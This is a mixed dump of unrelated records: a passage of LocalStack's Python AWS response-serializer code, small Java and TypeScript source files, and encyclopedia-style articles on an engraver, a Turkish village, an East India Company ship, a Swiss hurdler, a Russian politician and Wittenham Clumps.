"GetBucketOwnershipControlsOutput": "OwnershipControls",
"GetBucketPolicyStatusOutput": "PolicyStatus",
"GetBucketReplicationOutput": "ReplicationConfiguration",
"GetBucketRequestPaymentOutput": "RequestPaymentConfiguration",
"GetBucketTaggingOutput": "Tagging",
"GetBucketVersioningOutput": "VersioningConfiguration",
"GetBucketWebsiteOutput": "WebsiteConfiguration",
"GetObjectAclOutput": "AccessControlPolicy",
"GetObjectLegalHoldOutput": "LegalHold",
"GetObjectLockConfigurationOutput": "ObjectLockConfiguration",
"GetObjectRetentionOutput": "Retention",
"GetObjectTaggingOutput": "Tagging",
"GetObjectAttributesOutput": "GetObjectAttributesResponse",
"GetPublicAccessBlockOutput": "PublicAccessBlockConfiguration",
"ListBucketAnalyticsConfigurationsOutput": "ListBucketAnalyticsConfigurationResult",
"ListBucketInventoryConfigurationsOutput": "ListInventoryConfigurationsResult",
"ListBucketMetricsConfigurationsOutput": "ListMetricsConfigurationsResult",
"ListBucketsOutput": "ListAllMyBucketsResult",
"ListMultipartUploadsOutput": "ListMultipartUploadsResult",
"ListObjectsOutput": "ListBucketResult",
"ListObjectsV2Output": "ListBucketResult",
"ListObjectVersionsOutput": "ListVersionsResult",
"ListPartsOutput": "ListPartsResult",
"UploadPartCopyOutput": "CopyPartResult",
}
XML_NAMESPACE = "path_to_url"
def _serialize_response(
self,
parameters: dict,
response: Response,
shape: Optional[Shape],
shape_members: dict,
operation_model: OperationModel,
mime_type: str,
request_id: str,
) -> None:
header_params, payload_params = self._partition_members(parameters, shape)
self._process_header_members(header_params, response, shape)
# "HEAD" responses are basically "GET" responses without the actual body.
# Do not process the body payload in this case (setting a body could also manipulate the headers)
# - If the response is a redirection, the body should be empty as well
# - If the response is from a "PUT" request, the body should be empty except if there's a specific "payload"
# field in the serialization (CopyObject and CopyObjectPart)
http_method = operation_model.http.get("method")
if (
http_method != "HEAD"
and not 300 <= response.status_code < 400
and not (http_method == "PUT" and shape and not shape.serialization.get("payload"))
):
self._serialize_payload(
payload_params,
response,
shape,
shape_members,
operation_model,
mime_type,
request_id,
)
self._serialize_content_type(response, shape, shape_members, mime_type)
def _serialize_error(
self,
error: ServiceException,
response: Response,
shape: StructureShape,
operation_model: OperationModel,
mime_type: str,
request_id: str,
) -> None:
attr = (
{"xmlns": operation_model.metadata.get("xmlNamespace")}
if "xmlNamespace" in operation_model.metadata
else {}
)
root = ETree.Element("Error", attr)
self._add_error_tags(error, root, mime_type)
request_id_element = ETree.SubElement(root, "RequestId")
request_id_element.text = request_id
header_params, payload_params = self._partition_members(vars(error), shape)
self._add_additional_error_tags(payload_params, root, shape, mime_type)
self._process_header_members(header_params, response, shape)
response.set_response(self._encode_payload(self._node_to_string(root, mime_type)))
def _serialize_body_params(
self,
params: dict,
shape: Shape,
operation_model: OperationModel,
mime_type: str,
request_id: str,
) -> Optional[str]:
root = self._serialize_body_params_to_xml(params, shape, operation_model, mime_type)
# S3 does not follow the specs on the root tag name for 41 of 44 operations
root.tag = self._RESPONSE_ROOT_TAGS.get(root.tag, root.tag)
self._prepare_additional_traits_in_xml(root, request_id)
return self._node_to_string(root, mime_type)
def _prepare_additional_traits_in_response(
self, response: Response, operation_model: OperationModel, request_id: str
):
"""Adds the request ID to the headers (in contrast to the body - as in the Query protocol)."""
response = super()._prepare_additional_traits_in_response(
response, operation_model, request_id
)
# s3 extended Request ID
# mostly used internally on AWS and corresponds to a HostId
response.headers["x-amz-id-2"] = (
"s9lzHYrFp76ZVxRcpX9+5cjAnEH2ROuNkd2BHfIa6UkFVdtjf5mKR3/eTPFvsiP/XV/VLi31234="
)
return response
def _add_error_tags(
self, error: ServiceException, error_tag: ETree.Element, mime_type: str
) -> None:
code_tag = ETree.SubElement(error_tag, "Code")
code_tag.text = error.code
message = self._get_error_message(error)
if message:
self._default_serialize(error_tag, message, None, "Message", mime_type)
else:
# In S3, if there's no message, create an empty node
self._create_empty_node(error_tag, "Message")
if error.sender_fault:
# The sender fault is either not set or "Sender"
self._default_serialize(error_tag, "Sender", None, "Type", mime_type)
@staticmethod
def _create_empty_node(xmlnode: ETree.Element, name: str) -> None:
ETree.SubElement(xmlnode, name)
def _prepare_additional_traits_in_xml(self, root: Optional[ETree.Element], request_id: str):
# some tools (Serverless) require a newline after the "<?xml ...>\n" preamble line, e.g., for LocationConstraint
if root and not root.tail:
root.tail = "\n"
root.attrib["xmlns"] = self.XML_NAMESPACE
@staticmethod
def _timestamp_iso8601(value: datetime) -> str:
"""
This is very specific to S3, S3 returns an ISO8601 timestamp but with milliseconds always set to 000
Some SDKs are very picky about the length
"""
return value.strftime("%Y-%m-%dT%H:%M:%S.000Z")
class SqsQueryResponseSerializer(QueryResponseSerializer):
"""
Unfortunately, SQS uses a rare interpretation of the XML protocol: It uses HTML entities within XML tag text nodes.
For example:
- Normal XML serializers: <Message>No need to escape quotes (like this: ") with HTML entities in XML.</Message>
- SQS XML serializer: <Message>No need to escape quotes (like this: ") with HTML entities in XML.</Message>
None of the prominent XML frameworks for python allow HTML entity escapes when serializing XML.
This serializer implements the following workaround:
- Escape quotes and \r with their HTML entities (" and 
).
- Since & is (correctly) escaped in XML, the serialized string contains &quot; and &#xD;
- These double-escapes are corrected by replacing such strings with their original.
"""
# those are deleted from the JSON specs, but need to be kept for legacy reason (sent in 'x-amzn-query-error')
QUERY_PREFIXED_ERRORS = {
"BatchEntryIdsNotDistinct",
"BatchRequestTooLong",
"EmptyBatchRequest",
"InvalidBatchEntryId",
"MessageNotInflight",
"PurgeQueueInProgress",
"QueueDeletedRecently",
"TooManyEntriesInBatchRequest",
"UnsupportedOperation",
}
# Some error code changed between JSON and query, and we need to have a way to map it for legacy reason
JSON_TO_QUERY_ERROR_CODES = {
"InvalidParameterValueException": "InvalidParameterValue",
"MissingRequiredParameterException": "MissingParameter",
"AccessDeniedException": "AccessDenied",
"QueueDoesNotExist": "AWS.SimpleQueueService.NonExistentQueue",
"QueueNameExists": "QueueAlreadyExists",
}
SENDER_FAULT_ERRORS = (
QUERY_PREFIXED_ERRORS
| JSON_TO_QUERY_ERROR_CODES.keys()
| {"OverLimit", "ResourceNotFoundException"}
)
def _default_serialize(self, xmlnode: ETree.Element, params: str, _, name: str, __) -> None:
"""
Ensures that we "mark" characters in the node's text which need to be specifically encoded.
This is necessary to easily identify these specific characters later, after the standard XML serialization is
done, while not replacing any other occurrences of these characters which might appear in the serialized string.
"""
node = ETree.SubElement(xmlnode, name)
node.text = (
str(params)
.replace('"', '__marker__"__marker__')
.replace("\r", "__marker__-r__marker__")
)
def _node_to_string(self, root: Optional[ETree.ElementTree], mime_type: str) -> Optional[str]:
"""Replaces the previously "marked" characters with their encoded value."""
generated_string = super()._node_to_string(root, mime_type)
if generated_string is None:
return None
generated_string = to_str(generated_string)
# Undo the second escaping of the &
# Undo the second escaping of the carriage return (\r)
if mime_type == APPLICATION_JSON:
# At this point the json was already dumped and escaped, so we replace directly.
generated_string = generated_string.replace(r"__marker__\"__marker__", r"\"").replace(
"__marker__-r__marker__", r"\r"
)
else:
generated_string = generated_string.replace('__marker__"__marker__', """).replace(
"__marker__-r__marker__", "
"
)
return to_bytes(generated_string)
def _add_error_tags(
self, error: ServiceException, error_tag: ETree.Element, mime_type: str
) -> None:
"""The SQS API stubs is now generated from JSON specs, and some fields have been modified"""
code_tag = ETree.SubElement(error_tag, "Code")
if error.code in self.JSON_TO_QUERY_ERROR_CODES:
error_code = self.JSON_TO_QUERY_ERROR_CODES[error.code]
elif error.code in self.QUERY_PREFIXED_ERRORS:
error_code = f"AWS.SimpleQueueService.{error.code}"
else:
error_code = error.code
code_tag.text = error_code
message = self._get_error_message(error)
if message:
self._default_serialize(error_tag, message, None, "Message", mime_type)
if error.code in self.SENDER_FAULT_ERRORS or error.sender_fault:
# The sender fault is either not set or "Sender"
self._default_serialize(error_tag, "Sender", None, "Type", mime_type)
class SqsJsonResponseSerializer(JSONResponseSerializer):
# those are deleted from the JSON specs, but need to be kept for legacy reason (sent in 'x-amzn-query-error')
QUERY_PREFIXED_ERRORS = {
"BatchEntryIdsNotDistinct",
"BatchRequestTooLong",
"EmptyBatchRequest",
"InvalidBatchEntryId",
"MessageNotInflight",
"PurgeQueueInProgress",
"QueueDeletedRecently",
"TooManyEntriesInBatchRequest",
"UnsupportedOperation",
}
# Some error code changed between JSON and query, and we need to have a way to map it for legacy reason
JSON_TO_QUERY_ERROR_CODES = {
"InvalidParameterValueException": "InvalidParameterValue",
"MissingRequiredParameterException": "MissingParameter",
"AccessDeniedException": "AccessDenied",
"QueueDoesNotExist": "AWS.SimpleQueueService.NonExistentQueue",
"QueueNameExists": "QueueAlreadyExists",
}
def _serialize_error(
self,
error: ServiceException,
response: Response,
shape: StructureShape,
operation_model: OperationModel,
mime_type: str,
request_id: str,
) -> None:
"""
Overrides _serialize_error as SQS has a special header for query API legacy reason: 'x-amzn-query-error',
which contained the exception code as well as a Sender field.
Ex: 'x-amzn-query-error': 'InvalidParameterValue;Sender'
"""
# TODO: for body["__type"] = error.code, it seems AWS differs from what we send for SQS
# AWS: "com.amazon.coral.service#InvalidParameterValueException"
# or AWS: "com.amazonaws.sqs#BatchRequestTooLong"
# LocalStack: "InvalidParameterValue"
super()._serialize_error(error, response, shape, operation_model, mime_type, request_id)
# We need to add a prefix to certain errors, as they have been deleted in the specs. These will not change
if error.code in self.JSON_TO_QUERY_ERROR_CODES:
code = self.JSON_TO_QUERY_ERROR_CODES[error.code]
elif error.code in self.QUERY_PREFIXED_ERRORS:
code = f"AWS.SimpleQueueService.{error.code}"
else:
code = error.code
response.headers["x-amzn-query-error"] = f"{code};Sender"
def gen_amzn_requestid():
"""
Generate generic AWS request ID.
3 uses a different format and set of request Ids.
Examples:
996d38a0-a4e9-45de-bad4-480cd962d208
b9260553-df1b-4db6-ae41-97b89a5f85ea
"""
return long_uid()
@functools.cache
def create_serializer(service: ServiceModel) -> ResponseSerializer:
"""
Creates the right serializer for the given service model.
:param service: to create the serializer for
:return: ResponseSerializer which can handle the protocol of the service
"""
# Unfortunately, some services show subtle differences in their serialized responses, even though their
# specification states they implement the same protocol.
# Since some clients might be stricter / less resilient than others, we need to mimic the serialization of the
# specific services as close as possible.
# Therefore, the service-specific serializer implementations (basically the implicit / informally more specific
# protocol implementation) has precedence over the more general protocol-specific serializers.
service_specific_serializers = {
"sqs": {"json": SqsJsonResponseSerializer, "query": SqsQueryResponseSerializer},
"s3": {"rest-xml": S3ResponseSerializer},
}
protocol_specific_serializers = {
"query": QueryResponseSerializer,
"json": JSONResponseSerializer,
"rest-json": RestJSONResponseSerializer,
"rest-xml": RestXMLResponseSerializer,
"ec2": EC2ResponseSerializer,
}
# Try to select a service- and protocol-specific serializer implementation
if (
service.service_name in service_specific_serializers
and service.protocol in service_specific_serializers[service.service_name]
):
return service_specific_serializers[service.service_name][service.protocol]()
else:
# Otherwise, pick the protocol-specific serializer for the protocol of the service
return protocol_specific_serializers[service.protocol]()
def aws_response_serializer(
service_name: str, operation: str, protocol: Optional[ProtocolName] = None
):
"""
A decorator for an HTTP route that can serialize return values or exceptions into AWS responses.
This can be used to create AWS request handlers in a convenient way. Example usage::
from localstack.http import route, Request
from localstack.aws.api.sqs import ListQueuesResult
@route("/_aws/sqs/queues")
@aws_response_serializer("sqs", "ListQueues")
def my_route(request: Request):
if some_condition_on_request:
raise CommonServiceError("...") # <- will be serialized into an error response
return ListQueuesResult(QueueUrls=...) # <- object from the SQS API will be serialized
:param service_name: the AWS service (e.g., "sqs", "lambda")
:param protocol: the protocol of the AWS service to serialize to. If not set (by default) the default protocol
of the service in botocore is used.
:param operation: the operation name (e.g., "ReceiveMessage", "ListFunctions")
:returns: a decorator
"""
def _decorate(fn):
service_model = load_service(service_name, protocol=protocol)
operation_model = service_model.operation_model(operation)
serializer = create_serializer(service_model)
def _proxy(*args, **kwargs) -> WerkzeugResponse:
# extract request from function invocation (decorator can be used for methods as well as for functions).
if len(args) > 0 and isinstance(args[0], WerkzeugRequest):
# function
request = args[0]
elif len(args) > 1 and isinstance(args[1], WerkzeugRequest):
# method (arg[0] == self)
request = args[1]
elif "request" in kwargs:
request = kwargs["request"]
else:
raise ValueError(f"could not find Request in signature of function {fn}")
# TODO: we have no context here
# TODO: maybe try to get the request ID from the headers first before generating a new one
request_id = gen_amzn_requestid()
try:
response = fn(*args, **kwargs)
if isinstance(response, WerkzeugResponse):
return response
return serializer.serialize_to_response(
response, operation_model, request.headers, request_id
)
except ServiceException as e:
return serializer.serialize_error_to_response(
e, operation_model, request.headers, request_id
)
except Exception as e:
return serializer.serialize_error_to_response(
CommonServiceException(
"InternalError", f"An internal error occurred: {e}", status_code=500
),
operation_model,
request.headers,
request_id,
)
return _proxy
return _decorate
``` |
Joseph Swan (11 November 1796 Manchester, England – 22 September 1872 Anderston, Scotland) was an engraver and publisher active in Glasgow in the early nineteenth century.
Life and work
Joseph Swan was born 11 November 1796 in Manchester England to Thomas Swan and Janet Russell.
He started his career in what had become his hometown of Edinburgh as an apprentice to engraver John Beugo and worked with other engravers. In August 1817, he married Margaret Thomson in Edinburgh before setting off to Glasgow. There he took over the engraving business established by Charles Dearie, who died 28 November 1818.
Swan was one of a number of engravers and printers in Glasgow whose business encompassed pictures, portraits, maps, bookplates, plans, invoices, bills, bank notes, and silver work. One of his commissions was to illustrate rare plants in the collection of the Royal Botanic Institute of Glasgow.
In 1836 Swan was one of the first to apply steam to the lithographic printing process. He employed staff who specialised in a particular area such as pictures, letter and seal engraving. They included Robert Charles Bell who, like Swan, had worked with John Beugo in Edinburgh and Thomas Annan, later known for his photographic work.
Swan's reputation was established by his engraved illustrations of Scottish towns and landscapes which were based on pictures by contemporary Scottish artists such as John Fleming, John Knox, Andrew Donaldson, James Stewart and William Brown.
The first major work, Views of Scotland and its environs, appeared in 1826 with accompanying text by John Leighton and sold at five shillings and sixpence for fine proof impressions on India paper and four shillings and sixpence for common impressions.
To ensure the commercial success of such a project, subscribers were required to make payments in advance of publication to ensure that the work could proceed. Subscribers for the Views of Glasgow included the Duchess of Montrose, the Lord Provost of Glasgow and Archibald McLellan, a founder of the civic art collection. The engravings were made from pictures produced by Greenock-based John Fleming, Glasgow’s John Knox and Swan himself. The thirty-three plates include views of the city from different vantage points, the leading thoroughfares, buildings, and districts. Contemporary newspapers praised the work both for its choice of subjects and the quality of workmanship.
Following the success of the Select Views of Glasgow, Swan published part one of the Select Views on the River Clyde in February 1828. The engravings for the series were taken from pictures by John Fleming and Andrew Donaldson. They were larger than the Glasgow set and the price rose accordingly. By February 1830 the series was complete and included views of country houses such as Blythswood, Carstairs, Erskine and Hamilton Place plus Helensburgh, Greenock, Rothesay, and Campbelltown.
Then followed Views of the Lakes of Scotland, the first part of which was published in 1830. Swan was keen to point out to potential subscribers and purchasers that the work was of national importance as it was the first to group together Highland and Lowland lochs and included many of the lesser-known ones. He attracted well over 1000 subscribers from throughout Britain. All the engravings were based on pictures by John Fleming and the text was by Leighton with an introduction by Professor Wilson. From 1832 to 1836 Swan’s entry in the Post Office Directory shows him as ‘engraver and publisher of the Lakes of Scotland’.
Two works by Charles Mackie, Historical Description of the Abbey and Town of Paisley (1835) and Historical Description of the Town of Dundee (1836), contain Swans engravings. The Paisley views were all based on Swan’s own artwork while the Dundee volume contains both his work and that of James Stewart.
Stewart provided the artwork for the History of the County of Fyfe (1840), Sir William Hooker’s Perthshire Illustrated (1843), also has Swan’s engravings after Stewart, William Brown, Andrew Donaldson and D. MacKenzie. Swan’s engravings appear in further works including Strathclutha; or the Beauties of Clyde (1839), which combines views from the Glasgow and Clyde series; The Topographical, Statistical and Historical Gazetteer of Scotland (1845); and the new edition of James Browne’s A History of the Highlands and of the Highland Clans.
Joseph Swan was a committee member and for some time treasurer of the Glasgow Mechanics’ Institution which was founded in 1832. From January 1824, the institution published a very successful magazine which included many of his engravings such as portraits of James Watt and John Anderson, founder of Anderson’s institution, and the numerous mechanical inventions and improvements discussed in the text.
A key figure in Glasgow’s art world, Swan co-founded the Glasgow Dilettanti Society in 1825 to promote interest in the fine arts among the city’s artists, art collectors and connoisseurs. He was an honorary member of the West of Scotland Academy of the Fine Arts, founded in 1841, to which his firms supplied printed material. In the same year, he was on the management committee and treasurer of the newly founded Glasgow and West of Scotland Association for the Promotion of the Fine Arts, an art union.
Swan operated his business from a number of locations through his career. These included different addresses in the Trongate between 1818 and 1841 when he relocated to St Vincent Street, adjacent to the Western Club. Other premises were at Exchange Square, Bothwell Street, Buchannan Street, and Parliamentary Road where the renowned Swan’s Universal Copy Books were manufactured for use in schools worldwide. He was listed in the Post Office Directory as an engraver and lithographer into the 1860s.
Family
He lived with his family at various locations in Glasgow between 1818 and his death in 1872. Some survive such as the villa at 114 Hill Street, Garnethill and 21 Sandyforth place, Sauchiehall Street, where he died 22 September 1872. His first wife with whom he had eight children, Margaret Thomson, died in 1836 and he later married Helen Gourlay Cumming with whom he had seven children.
He was buried at the Glasgow Necropolis where his monument stands. The monument is a valuable record of his family including nine of his children who predeceased him, though it does not include the names of four daughters who survived him. It also hints at his religious convictions and support for overseas missionary work.
References
External links
1796 births
1872 deaths
Artists from Manchester
Artists from Glasgow
British engravers
British publishers (people)
19th-century British businesspeople |
Gökçesaray is a village in the Göynük District, Bolu Province, Turkey. Its population is 239 (2021).
References
Villages in Göynük District |
City of London was launched in 1800 as an East Indiaman. She made six voyages for the British East India Company (EIC) between 1800 and 1814 when she was taken up as a troopship for one voyage. She made one more voyage to India under a license from the EIC and then was broken up circa 1817.
Career
EIC voyage #1 (1800–1801): Captain Abraham Green acquired a letter of marque on 14 April 1804. He sailed from Torbay on 27 May, bound for Bengal and Madras. City of London was at the Nicobars on 14 November and arrived at Calcutta on 6 December. Homeward bound, she was at Kedgeree on 4 January 1801 and Madras on 13 March and Colombo on 6 April. She reached St Helena on 6 August and arrived at Long Reach on 9 November.
EIC voyage #2 (1803–1804): Captain Samuel London sailed from The Downs on 31 January 1803, bound for St Helena and Bengal. City of London was at St Helena on 3 April, the Cape of Good Hope on 22 May, and Madras on 11 July. She reached Diamond Harbour on 23 July. She was at Saugor on 8 December and left on 10 March 1804. She reached St Helena on 29 June and arrived at Long Reach on 15 October.
EIC voyage #3 (1805–1806): War with France had resumed and so Captain London acquired a letter of marque on 14 April 1805. He sailed from Portsmouth on 25 April 1805, bound for Bombay. City of London arrived at Bombay on 11 August. She left on 8 February 1806 on 14 February stopped at Tellicherry. On 2 March she was at Quillon. She reached St Helena on 14 May and arrived at Long Reach on 22 July.
EIC voyage #4 (1807–1808): Captain Joseph Yates acquired a letter of marque on 24 January 1807. He sailed from Portsmouth on 4 March 1807, bound for Madras and Bengal. City of London reached Madras on 5 July. She arrived at Diamond Harbour on 20 July, and Calcutta on 23 August. Homeward bound, she was at Diamond Harbour again on 24 November and Saugor on 23 December. She reached Point de Galle on 7 March 1808 and St Helena on 8 June. She arrived at Long Reach on 17 August.
EIC voyage #5 (1809–1811): Captain Yates sailed from Portsmouth on 28 April 1809, bound for Madras and Bengal. City of London was at Madeira on 8 May, reached Madras on 15 September, and arrived at Diamond Harbour on 22 October. She then traded in the region. She was at Saugor on 13 December, Vizagapatam on 31 December, Masulipatam on 9 January 1810, Madras on 13 January, Benkulen on 20 March, Kidderpore on 24 June, and Saugor on 9 September. The voyage ended on ended on 2 October 1811.
What happened was that the British government hired a number of transport vessels for the invasions of Île Bourbon and Île de France (Mauritius). Most of the transports were "country ships". Country ships were vessels that were registered in ports of British India such as Bombay and Calcutta, and that traded around India, with Southeast Asia, and China, but that did not sail to England without special authorization from the EIC. In addition, some of the vessels the Government hired were EIC ships such as City of London.
Yates landed with the invasion force, bringing many of his crew with him, as did Captain William Nesbit of . The seamen contributed in the "laborious duty of hauling the cannon". However, Yates died of exhaustion on shore on the first day of the invasion.
City of London arrived back at Gravesend on 1 October 1811, "From Bengal".
EIC voyage #6 (1812–1813 ): Captain Thomas Jenkins acquired a letter of marque on 8 April 1812. He sailed from Portsmouth on 8 April 1812, bound for Madras and Bengal. On 30 April City of London, Sovereign, Harriet, and were at and under escort by , which parted from them and returned to England. City of London reached Madras on 1 August and arrived at Diamond Harbour on 8 September. On 6 October she was at Kidderpore and on 4 November Calcutta. Homeward bound, on 10 December she was at Saugor. She was Vizagapatam on 17 January 1813 and Masulipatam on 27 January. She was again at Madras on 3 February. She was at Colombo on 3 March, reached St Helena on 8 June, and arrived at Purfleet on 13 August.
Licensed ship
In 1814 the Government took her up for one voyage as a troopship. On 23 June City of London, Hammond, master, sailed from Portsmouth for Madeira.
Hackman states that at the end of that contract she was sold for breaking up. However, she was not.
A list of ships sailing under a license from the EIC shows City of London, Jenkins, master, sailing from London on 18 May 1815, bound for Île de France, Madras, and Bengal. She arrived at Bengal on 11 November. She was also reported to have sailed from Bengal on 27 January 1816 for Madras and London. On 11 July she was at Deal, having sailed from Bengal (29 January) via Madras (26 February), the Cape (4 May), and St. Helena (17 May). On 14 July City of London arrived at Gravesend.
Jenkins may have intended to sail from London for Île de France, Madras, and Bengal on 15 November. However, there is no sign of any such voyage in the Lloyd's List SAD data.
Fate
City of London was last listed in Lloyd's Register in 1817. She continued to be listed in the Register of Shipping for a few more years.
Citations
References
1800 ships
Age of Sail merchant ships of England
Ships of the British East India Company |
Karl Schmid (born 23 July 1921) is a Swiss hurdler. He competed in the men's 400 metres hurdles at the 1952 Summer Olympics.
References
External links
1921 births
Possibly living people
Athletes (track and field) at the 1952 Summer Olympics
Swiss male hurdlers
Olympic athletes for Switzerland
Place of birth missing |
```java
package com.yahoo.io.reader;
import com.yahoo.api.annotations.Beta;
import java.io.IOException;
import java.io.Reader;
import java.io.Writer;
import java.nio.CharBuffer;
import java.util.List;
/**
* A reader with a name. All reader methods are delegated to the wrapped reader.
*
* @author bratseth
*/
@Beta
public class NamedReader extends Reader {
private final String name;
private final Reader reader;
public NamedReader(String name, Reader reader) {
this.name = name;
this.reader = reader;
}
public String getName() { return name; }
public Reader getReader() { return reader; }
/** Returns the name */
@Override
public String toString() {
return name;
}
// The rest is reader method implementations which delegates to the wrapped reader
public static Reader nullReader() { return new NamedReader("nullReader", Reader.nullReader()); }
@Override
public int read(CharBuffer charBuffer) throws IOException { return reader.read(charBuffer); }
@Override
public int read() throws IOException { return reader.read(); }
@Override
public int read(char[] chars) throws IOException { return reader.read(chars); }
@Override
public int read(char[] chars, int i, int i1) throws IOException { return reader.read(chars,i,i1); }
@Override
public long skip(long l) throws IOException { return reader.skip(l); }
@Override
public boolean ready() throws IOException { return reader.ready(); }
@Override
public boolean markSupported() { return reader.markSupported(); }
@Override
public void mark(int i) throws IOException { reader.mark(i); }
@Override
public void reset() throws IOException { reader.reset(); }
@Override
public void close() throws IOException { reader.close(); }
@Override
public long transferTo(Writer out) throws IOException { return reader.transferTo(out); }
/** Convenience method for closing a list of readers. Does nothing if the given reader list is null. */
public static void closeAll(List<NamedReader> readers) {
if (readers==null) return;
for (Reader reader : readers) {
try {
reader.close();
}
catch (IOException e) {
// Nothing to do about it
}
}
}
}
``` |
Andrey Alekhin (; born February 9, 1959, Novosibirsk) is a Russian political figure and a deputy of the 8th State Duma.
After graduating from the Novosibirsk State Technical University, Alekhin moved to Omsk where he started working at the tannery factory. From 1983 to 1985, he was the second secretary of the Kirov district committee of the Komsomol. In 1989–1991, he was the head of the ideological department of the Kirov district committee of the Communist Party of the Soviet Union. After the suspension of the CPSU in 1991, Alekhin started working at the administrative and technical inspection of Omsk. From 1994 to 2021, he was the deputy of the Legislative Assembly of Omsk Oblast of the 1st, 2nd, 3rd, 4th, 5th, and 6th convocations. From 2000 to 2021, he was also the second secretary of the Omsk regional committee of the Communist Party of the Russian Federation. Since September 2021, he has served as deputy of the 8th State Duma from the Omsk Oblast constitution.
References
1959 births
Living people
Communist Party of the Russian Federation members
21st-century Russian politicians
Eighth convocation members of the State Duma (Russian Federation)
Politicians from Omsk
Novosibirsk State Technical University alumni |
```xml
export { default as NotificationsPanel } from './NotificationsPanel';
export { notificationsConfigs } from './constants';
export { useNotifications } from './useNotifications';
``` |
Wittenham Clumps are a pair of wooded chalk hills in the Thames Valley, in the civil parish of Little Wittenham, in the historic county of Berkshire, although since 1974 administered as part of South Oxfordshire district.
The higher of the two, Round Hill, is above sea-level. The Castle Hill is about south-east and was the site of an Iron Age hill fort. A third hill, not normally considered one of The Clumps, is Brightwell Barrow, further to the south-east.
The grassed slopes of The Clumps lead up to summits wooded by the oldest beech tree plantings in England, dating to the 1740s. Standing over 70 metres above their surroundings, the Clumps have a prominent appearance and panoramic views, with the north slopes overlooking villages and towns whose sites mark some of the first settlements of the English. The view from The Clumps was described by the artist Paul Nash, who first saw them in 1911, as "a beautiful legendary country haunted by old gods long forgotten".
The Clumps are the most visited outdoor site in the administrative county of Oxfordshire, attracting over 200,000 visitors a year. A car park was added in 1971, and the extensive network of paths are accessible by foot all year round. A path through the wooded area at the top of Round Hill has enabled access since 2005, after being closed for twenty years. The site and its surroundings are maintained as a Nature Reserve by the Earth Trust.
Toponymy
Strictly speaking, the name Wittenham Clumps refers to the wooded summits of these hills, which are themselves more properly referred to as the Sinodun Hills, the name Sinodun deriving from Celtic, Seno-Dunum, meaning 'Old Fort'. Alternatively, it has been suggested that the name is a scholarly creation, punning on the Latin 'sinus' (bosom). Other lesser-used and more colloquial names for the Clumps include the Berkshire Bubs (since the Clumps are in the historic county of Berkshire, though this area was transferred to Oxfordshire administratively in 1974) and Mother Dunch's Buttocks (after a local Lady of the Manor named Dunch).
On Sinodun Hill is a hollow named the Money-Pit and a clump of trees named the Cuckoo Pen. The Money-Pit is supposedly the location of a treasure hoard guarded by a raven, and the Cuckoo Pen gets its name from the local belief that a trapped cuckoo would ensure eternal Summer.
Location
Wittenham Clumps are located at , close to the River Thames, and good views can be had from the Thames Path along the river. The panoramic views of the Berkshire and Oxfordshire countryside from the Clumps themselves are also spectacular; a viewpoint guide on the north side of Round Hill gives directions to many sights, the furthest being Faringdon Folly, a tower built on another Iron Age hillfort to the west. Day's Lock and Dorchester Abbey are clearly visible in the valley to the north, with the 15-storey Plowman Tower in Northway, Oxford visible on the horizon, away. The white-walled reactor buildings of the Joint European Torus, site of the world's first successful controlled nuclear fusion experiments, can be seen around 6 km to the north-west. To the west, there is the town of Didcot, with some of the chimneys of the gas-fired Didcot B Power Station visible. Formerly, the cooling towers of Didcot A Power Station, constructed in the late 1960s, dominated the skyline around Didcot; they were demolished in phases from 2014 to 2020. To the north-east is Little Wittenham Wood, which borders the Thames, and to the south-east is Brightwell Barrow.
The wooded area at the top of Castle Hill, which contains a public footpath, is now closed indefinitely due to the danger of falling trees. The entrance to the wooded area atop Round Hill also carries a warning of falling branches due to fungal decay of many of its trees.
Archaeology
There is a hillfort on Castle Hill. The earliest earthworks date to the late Bronze Age. More banks and ditches were added during the early Iron Age. Excavation has revealed that the Iron Age inhabitants caught fish and wild boar as well as herding cattle and sheep. There is also evidence of cultivation of barley and wheat. The fort appears to have been abandoned by the late Iron Age, the next occupants being Romans. A 2004 episode of the Channel 4 archaeological television programme Time Team focused on the Clumps. In 2004 Castle Hill was under excavation by Oxford Archaeology, and Time Team was charged with investigating the surrounding landscape to find any trace of activity that could be associated with the Clumps.
Over a period of three days, Time Team surveyed a total of seven hectares using ground-penetrating radar. The original focus was the previously unexplored Round Hill, but difficulties in carrying out geophysical studies on its tree-covered crest forced the team to abandon their original goal. Moving down the southern slopes, however, many hidden features emerged, including enclosure ditches, pits, possible buildings and other clusters of anomalies. The geophysics highlighted a large rectilinear enclosure, which was subsequently singled out for excavation. This revealed the remains of a Romano-British house with tesserae (mosaic) floors and painted wall plaster on the southern slope of Round Hill. The area also contained an Iron-Age cobbled floor, together with post holes that could have related to a structure.
Further investigations found Iron Age rubbish pits distributed all over the valley, suggesting widespread settlement throughout the period. Pottery finds indicated that most activity took place in the earlier and later phases of the period, with a quieter occupation phase in the middle. The geophysics surveys also uncovered more suspected Iron Age enclosures along with what appeared to be a Roman road, which would have been associated with the site.
The overall chronology suggested by the excavations is of the site being occupied since the Bronze Age around 1000 BC, the hillfort and surrounding farms dating from around 600 BC, followed by a move down towards the southern part of the site around 300 BC. The area was then abandoned, until the construction of the Roman villa.
Among the many artefacts found in the area are an oval bronze shield around 35 cm in diameter, retrieved from the nearby river Isis in 1836 and the 70 cm long Wittenham Sword and scabbard, found in 1982 and dating from the Late Iron Age (120 BC - AD 43)
In February 2021, archaeologists headed by Chris Casswell from DigVentures announced the discovery of at least 15 roundhouses dating from 400 to 100 BC. and remains of Roman villa dating from 3rd to early 4th century CE. According to excavators, members of noble family would have lived in this Roman villa. Researchers have also revealed some Roman kitchen utensils and an Iron Age "fridge" or pantry-ceramic food storage containers to keep food cool and safe in a pit dug into the ground.
Poetry
The eastern side of Castle Hill is the location of the Victorian 'Poem Tree', a beech tree which had a poem carved into it by Joseph Tubb of Warborough Green in 1844–45. The tree, which died in the 1990s, collapsed in 2012; there is now a stone commemorating the 150th anniversary of the carving.
Wittenham Clumps is said to be where Matthew Prior wrote Henry and Emma, and this is commemorated by a plaque.
In 2021, Robin Alexander Lucas published a new poem about The Wittenham Clumps, the Money Pit and the Raven that is said to guard it, entitled The Money Pit – or – The Sinodun Hoard. It was printed on the reverse side of a decorative map of The Wittenham Clumps, published by Cittern Press, (ISBN 978-1-8384385-9-3, Cittern Press, 2021).
Usage in media
Wittenham Clumps were repeatedly painted by the 20th-century British artist Paul Nash.
The Clumps was the filming location for the Radiohead webcast video of the band's song "Faust Arp".
The climax of the third episode of the third season of the Netflix series Black Mirror takes place in the woods.
References
External links
Earth Trust
Little Wittenham at Royal Berkshire History
Photograph, Geograph British Isles project
Archaeological dig, Time Team, Channel 4
Forests and woodlands of Oxfordshire
